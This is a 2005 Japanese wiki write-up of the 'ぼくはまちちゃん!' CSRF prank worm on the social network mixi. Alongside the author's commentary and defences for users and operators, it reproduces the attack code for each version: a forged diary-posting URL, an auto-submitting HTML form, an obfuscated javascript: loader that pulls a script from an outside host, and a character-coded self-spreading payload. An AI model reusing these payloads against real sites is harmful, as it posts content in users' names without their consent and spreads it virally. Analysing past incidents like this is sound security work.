mixi

ぼくはまちちゃん!

このページの内容は参考情報です.悪用禁止!

と,書いたところでやるやつぁやるし,手口紹介もどっかで出てくるわけで.
運営側が根本的な対策をしてくれることを望みます.

筆者(Simon)コメント

雑感

この事件のことをつらつら考えてみる.論じるのはやめとこうかと思ったけど.

まず,セキュリティホールの指摘をするのに,実力行使でやるというのは道義的には決して誉められない.今回は無害なものだったからよかったようなものの,手口を紹介することで,模倣してもっと危険なものを作られてしまう可能性はあるから.

といっても,個人的には情報は最終的にはfull disclosureされるべきであると思うので,対策が取られていることを確認した上でこのページを作ったし,updateもしてきたわけ.

今回,繰り返して脆弱性を突いたことで,このExploitの作者は退会処分になるということだけれど,これに関してはある程度仕方ないと思う.まあ,やりすぎたってことになるだろうか.

しかし,これまでも,mixi事務局はユーザ有志からCSRF脆弱性その他のシステム上のセキュリティーホールについての指摘は受けていたが,その穴をちゃんと塞ぐことはしてこなかったようで,指摘されたものに対してピンポイントで対応したり,あるいは騒ぎになってから対策したりといったことが多かった模様.

このmixi事務局の対応が本当だとすれば*1,システムセキュリティについての意識が低すぎると言わざるを得ない.今回は引っ掛かった人が多かったためか,対策は早い段階で取られたようだけれども,それでもこの手の問題にグローバルに対処できる対策が取られるまでは結構な時間が掛かっている.

それと,自分のmixi日記にも書いたけれども,最近mixi事務局はアナウンスが足りないと思う.これだけの人数に対するサービスになっていて,更に個人情報だらけのセンシティブなサービスであるのだから,不具合や問題点についてはオフィシャルなアナウンスを出すべきだろうと思う.

セキュリティホールについては,対策が優先されるのでアナウンスは後で構わない(というか,脆弱性があるというアナウンスを先にしてはいけない)が,対策したら何らかのリリースは出すべきではないか.

今回のことを教訓にして,mixi事務局にはシステムセキュリティ全体を見直して,可能な限りの対策を講じると同時に,ユーザに対する広報の体制ももう少し整えてもらいたい.miklyを作るより,不具合のアナウンスの方が大事ではないかとすら思う.

2005-04-23 02:08:22 (土) -- Simon

ページについて

ていうか全般的にこのページはノリでつくったので,正確な技術解説することとか目的にしてないんでその辺よろしく.

なんか勘違いしてる人いるみたいだけど,これのためにわざわざWiki立ち上げたわけじゃないし,referしてもらおうと思って作ったわけでもないです.単に,知り合いに「こんなんだよ」って見せるために作ったので,はっきりいって適当.

あと,別にExploitだから悪いとかそういう単純な思考でもないです.どっちかっつうと自分用の出来事メモを技術的に書いただけ.「仕組みはどうなってんだろう?」という好奇心からのもの.

正直,この程度のいたずらレベルで,結果的にセキュリティホール警告を発してるのであればえらいんじゃないの,とか思わなくもない.

システム側の対応について

http://d.hatena.ne.jp/rna/20050421#p2
http://www.st.ryukoku.ac.jp/~kjm/security/memo/2005/04.html#20050420_hamachi

にもありますが,mixiは結構この手の脆弱性があるところです.

現時点では一応knownなCSRF脆弱性問題については穴をふさいだようですが,元々システムとしてセキュアではないと思われる部分が多々ありますので,自衛をしておいた方がいいでしょう.

mixi事務局の対応について

このExploitを仕掛けた本人を2005.04.23正午で退会処分にする模様.

2005-04-23 02:06:29 (土) -- Simon

目次

概要

mixiのシステムに存在するCSRF脆弱性を用いた悪戯.

2005.04.19から始まっている.

URLをクリックすると,自分の日記が勝手に更新される. 中身は,

題名: ぼくはまちちゃん!

こんにちはこんにちは!!
 
http://mixi.jp/view_diary.pl?id=14656767&owner_id=259617

といったようなもの.バージョンによって「こんばんはこんばんは!!」など表記が変わる.

対策

ユーザ側対策

  • 怪しいURLを見たらクリックしない.
    • 君子危うきに近寄らずっつー奴ですな.
  • こまめにログアウトする.
    • でもmixi内部に貼ってあった今回みたいなのは防げない.
  • JavaScript?を切っておく.
    • プレミアムで日記書くときとか不便だけど,その時だけONにする.
    • そういうことができるブラウザはちゃんとあります.

運営側対策

  • セッション管理を入れる
  • 外部refererのあるPOSTリクエストを弾く
    • 副作用: refererを送信しなかったり,クライアントサイドにあるフィルタがいじったりする場合はPOSTできなくなる
  • 何らかの形で書き込みの都度乱数等の値を生成してPOSTで渡すものとマッチさせる
    • 問題: 安易な乱数を使うと突破されてしまう.

現時点での対策について

現在の対策は書き込み確認画面からのPOSTで渡す値にpost_keyというmd5ハッシュ値を要求している模様だが,もしこれが本当にmd5ハッシュだとすると,そのseedが何なのかが分かってしまうと偽造できてしまう.

といっても,seed自体がユーザIDを含むなど,一定以上セキュアなものであれば,同じようなExploitは作りにくくなるが,脆弱性は未だ残る.

2005-04-20 22:14:23 (水) -- Simon

ちなみに,今のところ日記やコメントの作成などの各種機能についてはsubmitまではできないが記入画面に遷移するところまではまだできる模様.更に言えば強制ログアウトさせるといったことも可能.まだまだ脆弱性は残っているといえる.

2005-04-21 02:08:30 (木) -- Simon

post_keyのハッシュ値(と思われるもの)は,ユーザ固有のものらしい.コメント内容や書く相手,自分のnickでは変化しない模様.せっかくやるならcomment_bodyも入れてもっと複雑なseedを与えてハッシュ値作ればいいのに.といっても,あまり複雑にするとサーバ負荷的にまずいかな?

2005-04-21 12:13:34 (木) -- Simon
追記:2005-04-22 01:09:36 (金) -- Simon

Ver.5

命名

JS.Hamachiya2.Exploit

発生

  • 2005.11.23 18:10頃〜20:30頃

現象

日記が追加される。

題名: ぼくはまちちゃん! 

こんにちはこんにちは!! 


http://mixi.jp/view_enquete.pl?id=3054936&comm_id=44741 

仕組み

今までのように日記などではなく、アンケートの選択肢として外部JavaScript?を埋め込む。

<script src="http://hamachiya.com/bh6.js"></script>

でもってこのJavaScript?が日記を書かせるんだけれども、本体が消滅していて中身が分からないので、細かい解析は不能。どなたか本体を保存している方いませんか。

対策

興味本位でクリックしない

コメント

久々の登場である。わざわざアンケートが作れるpremiumになってまでExploitを仕掛ける熱意には恐れ入る(笑)

Ver.4

命名

JS.HamachiAne?.Exploit

発生

  • 2005.04.21 23:06〜

現象

日記が追加される.

題名: またはまちやか 

やあ (´・ω・`) 

ぼくはまちちゃん! 


そう、「また」なんだ! すまん…! 
キミがこのタイトルを見たとき、どう感じたかとかヤボな事は聞かないよ… 
大事なのはこれからだしな。 

もちろん、仏の顔も…、って言うよな。 
それについて謝って許してもらおうとか思っていない。 

けれど、 
キミの運勢について、一言だけ言わせて欲しい…、【凶】だ!!! 

http://mixi.jp/view_diary.pl?id=14937494&owner_id=259617 

仕組み

例によって日記がある。

  【発見】 mixiの裏技3 【テラヤバス】 

↓この人、ここまで書いてていいのかよ… 

http://mixi.jp/list_diary.pl?id=603950 



※ ポップアップブロックはオフにしておかないと見られないようです。 
  (ブロックされる場合は、Ctrl + クリック) 

※ なんか純正IE以外のブラウザでアクセスした場合 
※ 最悪、ブラウザがフリーズする可能性がある模様。ご注意。 

  (ふつうのIEならちゃんと見られます。たぶん) 

でもって、踏むと以下のコードが実行される。 外部のJavaScript?を踏ませる形だが、ポップアップで読ませるのが新しい。

(実際には1行ですが、表示の都合で折り返しています)

(ver.4) 
javascript:void(eval('z=document.appendChild(document.createElement(\'script\'));z.s'+String.fromCharCode
(114,99,61,39,104,116,116,112,58,47,47,119,101,98,46,104,112,116,46,106,112,47)+'mixi/mixi'+String.fromCharCode(46,106)+'s\''))

これによって、http://web.hpt.jp/mixi/mixi.jsを踏ませるようになっている。

中身はこんな感じ。日記本文が全てCharCode?で書かれているので長い。

(実際には1行ですが、表示の都合で折り返しています)

eval(String.fromCharCode(118,97,114,32,115,61,91,39,12495,12510,21513,39,44,39,22823,21513,39,44,39,
20013,21513,39,44,39,21513,39,44,39,20982,39,44,39,22823,20982,39,44,39,
12399,12378,12428,39,93,59,13,10,114,110,100,46,116,111,100,97,121,61,110,101,
119,32,68,97,116,101,40,41,59,114,110,100,46,115,101,101,100,61,114,110,100,
46,116,111,100,97,121,46,103,101,116,84,105,109,101,40,41,59,13,10,118,97,
114,32,114,61,114,97,110,100,40,55,41,45,49,59,40,114,61,61,48,32,124,124,32,
114,61,61,54,41,32,38,38,32,40,114,61,114,97,110,100,40,55,41,45,49,41,59,
118,97,114,32,102,61,115,91,114,93,59,13,10,13,10,118,97,114,32,116,105,116,
108,101,61,39,12414,12383,12399,12414,12385,12420,12363,39,59,13,10,118,97,
114,32,98,111,100,121,61,39,92,110,12420,12354,12288,65288,180,12539,969,
12539,65344,41,32,92,110,92,110,12412,12367,12399,12414,12385,12385,12419,
12435,65281,92,110,92,110,92,110,12381,12358,12289,12300,12414,12383,12301,
12394,12435,12384,65281,12288,12377,12414,12435,8230,65281,92,110,12461,
12511,12364,12371,12398,12479,12452,12488,12523,12434,35211,12383,12392,
12365,12289,12393,12358,24863,12376,12383,12363,12392,12363,12516,12508,
12394,20107,12399,32862,12363,12394,12356,12424,8230,92,110,22823,20107,
12394,12398,12399,12371,12428,12363,12425,12384,12375,12394,12290,92,110,92,
110,12418,12385,12429,12435,12289,20175,12398,38996,12418,8230,12289,12387,
12390,35328,12358,12424,12394,12290,92,110,12381,12428,12395,12388,12356,
12390,35613,12387,12390,35377,12375,12390,12418,12425,12362,12358,12392,12363,
24605,12387,12390,12356,12394,12356,12290,92,110,92,110,12369,12428,12393,
12289,92,110,12461,12511,12398,36939,21218,12395,12388,12356,12390,12289,
19968,35328,12384,12369,35328,12431,12379,12390,27442,12375,12356,8230,12289,
12304,39,43,102,43,39,12305,12384,65281,65281,65281,92,110,92,110,104,116,116,
112,58,47,47,109,105,120,105,46,106,112,47,118,105,101,119,95,100,105,97,114,
121,46,112,108,63,105,100,61,49,52,57,51,55,52,57,52,38,111,119,110,101,114,
95,105,100,61,50,53,57,54,49,55,92,110,92,110,39,59,13,10,13,10,119,61,111,
112,101,110,40,39,104,116,116,112,58,47,47,109,105,120,105,46,106,112,47,97,
100,100,95,100,105,97,114,121,46,112,108,39,41,46,100,111,99,117,109,101,110,
116,59,119,104,105,108,101,40,119,46,114,101,97,100,121,83,116,97,116,101,33,
61,39,99,111,109,112,108,101,116,101,39,41,59,13,10,119,46,100,105,97,114,121,
46,100,105,97,114,121,95,116,105,116,108,101,46,118,97,108,117,101,61,116,105,
116,108,101,59,119,46,100,105,97,114,121,46,100,105,97,114,121,95,98,111,100,
121,46,118,97,108,117,101,61,98,111,100,121,59,119,46,100,105,97,114,121,46,
101,108,101,109,101,110,116,115,91,55,93,46,99,108,105,99,107,40,41,59,119,
104,105,108,101,40,119,46,114,101,97,100,121,83,116,97,116,101,33,61,39,99,
111,109,112,108,101,116,101,39,41,59,119,46,103,101,116,69,108,101,109,101,
110,116,115,66,121,84,97,103,78,97,109,101,40,34,105,110,112,117,116,34,41,91,
53,93,46,99,108,105,99,107,40,41,59,13,10,13,10,102,117,110,99,116,105,111,
110,32,114,110,100,40,41,32,123,13,10,114,110,100,46,115,101,101,100,32,61,32,
40,114,110,100,46,115,101,101,100,42,57,51,48,49,43,52,57,50,57,55,41,32,37,
32,50,51,51,50,56,48,59,13,10,114,101,116,117,114,110,32,114,110,100,46,115,
101,101,100,47,40,50,51,51,50,56,48,46,48,41,59,13,10,125,59,13,10,102,117,
110,99,116,105,111,110,32,114,97,110,100,40,110,117,109,98,101,114,41,32,123,
13,10,114,101,116,117,114,110,32,77,97,116,104,46,99,101,105,108,40,114,110,
100,40,41,42,110,117,109,98,101,114,41,59,13,10,125,59,13,10));

対策

興味本位でクリックしない

Ver.3

命名 (冗談)

JS.Hamachi.Exploit

動いていた時期

  • 2005.04.20 0000頃〜1030頃(対策時)まで

仕組み

当該日記に行くと,

 
↓オイオイ、すげぇぜ… 
 
http://www.google.com/url?sa=D&q=http%3a%2f%2fwww%2egeocities%2ejp%2fhamachiya_xxx%2fh%2ehtm&amp;&amp;&amp;&amp;&amp;&amp; 
 
 
(ver.3) 
 

と書いてある.よく見れば分かるようにgoogleの検索結果に見せかけて外部のURLを踏ませるようになっている.

で,その先のHTMLは

<html><head><meta http-equiv="content-type" content="text/html; charset=EUC-JP"></head><body onLoad="document.Hamachiya3.gogo.click();">
<form name="Hamachiya3" action="http://mixi.jp/add_diary.pl" method="post">
<input type="hidden" name="submit" value="confirm">
<input type="hidden" name="packed" value="">
<input type="hidden" name="diary_title" value="ぼくはまちちゃん!">
<input type="hidden" name="diary_body" value="
こんばんはこんばんは!! 


http://mixi.jp/view_diary.pl?id=14656767&owner_id=259617
"><input type="submit" value="" id="gogo"  style="width:0px;height:0px;">
</form></body></html>

(Geocitiesの勝手に付けるコードは省略)

となっている.Javascriptを使ってsubmitを押させる仕組み.

対策

現在は運営側による対策がされていて,そのままでは踏めない. 踏んでみると,

データはありません。

と出る.

Ver.2

命名

Hamachi.Exploit.B

動いていた時期

  • 2005.04.19 1200頃〜1650頃(対策時)まで.

動作

日記に書いてあるURLを踏むと,自分の日記に新しい項目ができる.

仕組み

http://mixi.jp/add_diary.pl?packed=&diary_title=(URLエンコードした日記題名)&submit=confirm&diary_body=(URLエンコードした日記本文)

といった形. URLをちゃんと見れば何をしようとしているかわかる.

対策

運営側の取った対策は,日記がいきなり作成されるのではなく作成画面に遷移するもの.
踏むと各項目が入った日記作成画面が出てくる.

Ver.1

見てないのでよくわからないが,他人の日記に書き込む仕様だった?

コメント

コメントspamが多いのでコメントの書込みを凍結しました。

mixi/ぼくはまちちゃん!

  • ちょっとテスト.http://mixi.jp/view_diary.pl?id=14784065&owner_id=909 -- Simon 2005-04-20 16:57:11 (水)
  • ver.1はver.2と同じです。ただしver.2から日記本文にウチの日記のurlが追加されて、どんどん広がっていく仕様になりました。 -- はまちや? 2005-04-23 01:12:24 (土)
    • むむ,作者自らご登場(汗).Ver,1はそうでしたか.最初のは本文に日記URLが入っていなかったのですか? -- Simon 2005-04-23 02:07:56 (土)
      • その通りです。なのでver.1ではせいぜいマイミク内で同じ日記が並ぶ程度のモノです。 -- はまちや? 2005-04-23 03:09:04 (土)
  • それと4/23正午に退会処分とのことです。残念無念。ver.4とか、もしわかりづらい部分があれば、ご協力いたします。 -- はまちや? 2005-04-23 03:14:52 (土)
    • そのようですね.悪意ではない悪戯だとは思うのですが,ちょっとやりすぎてしまったかもしれませんね(笑).Ver.4の仕組みについては大体分かっているのですが,今書いてる原稿が終わり次第書こうかと思っています.分からないところがあればよろしくお願いします. -- Simon 2005-04-26 02:41:10 (火)

*1 直接的なソースをまだ見つけられていないので断定はしない

トップ   編集 凍結解除 差分 バックアップ 添付 複製 名前変更 リロード   新規 一覧 単語検索 最終更新   ヘルプ   最終更新のRSS
Last-modified: 2007-07-09 (月) 02:36:59 (3552d)